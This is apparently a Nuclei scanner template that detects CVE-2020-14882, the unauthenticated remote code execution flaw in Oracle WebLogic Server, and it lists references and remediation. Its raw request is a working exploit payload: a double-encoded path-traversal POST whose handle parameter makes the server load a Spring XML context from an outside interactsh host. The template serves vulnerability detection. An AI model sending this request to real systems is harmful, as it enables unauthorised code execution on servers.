id: CVE-2020-14882

info:
  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
  author: dwisiswant0
  severity: critical
  reference:
    - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://twitter.com/jas502n/status/1321416053050667009
    - https://youtu.be/JFVDOIL0YtA
    - https://github.com/jas502n/CVE-2020-14882#eg
  description: An easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.
  remediation: Apply the appropriate security update.
  tags: cve,cve2020,oracle,rce,weblogic,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-14882

requests:
  - raw:
      - |
        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=utf-8

        _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://{{interactsh-url}}")

    matchers-condition: and
    matchers:

      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# Enhanced by mp on 2022/02/08